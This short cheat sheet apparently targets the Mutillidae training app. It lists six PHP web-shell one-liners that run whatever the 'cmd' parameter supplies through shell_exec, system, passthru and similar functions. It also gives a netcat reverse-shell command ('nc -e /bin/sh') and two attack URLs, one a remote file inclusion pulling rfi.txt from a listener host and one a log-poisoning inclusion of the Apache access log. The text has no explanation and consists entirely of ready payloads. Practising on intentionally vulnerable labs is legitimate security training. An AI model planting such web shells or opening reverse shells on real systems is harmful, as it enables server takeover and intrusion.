Host of remote file server

<?php echo shell_exec(escapeshellcmd($_REQUEST['cmd']));?>
<?php echo exec(escapeshellcmd($_REQUEST['cmd']));?>
<?php echo system(escapeshellcmd($_REQUEST['cmd']));?>
<?php echo passthru(escapeshellcmd($_REQUEST['cmd']));?>
<?php echo fread(popen(escapeshellcmd($_REQUEST['cmd']),'r'),1024);?>
<?php $c = escapeshellcmd($_REQUEST['cmd']);echo `$c`; ?>

Example cmd: 
	ls
	nc -e /bin/sh 127.0.0.1 81
	
URL: http://mutillidae.localhost/index.php?page=http://127.0.0.1:81/rfi.txt&cmd=ls
URL: http://mutillidae.localhost/index.php?page=/var/log/apache2/localhost-access.log&cmd=/usr/bin/nc%20-e%20/bin/sh%20127.0.0.1%2081

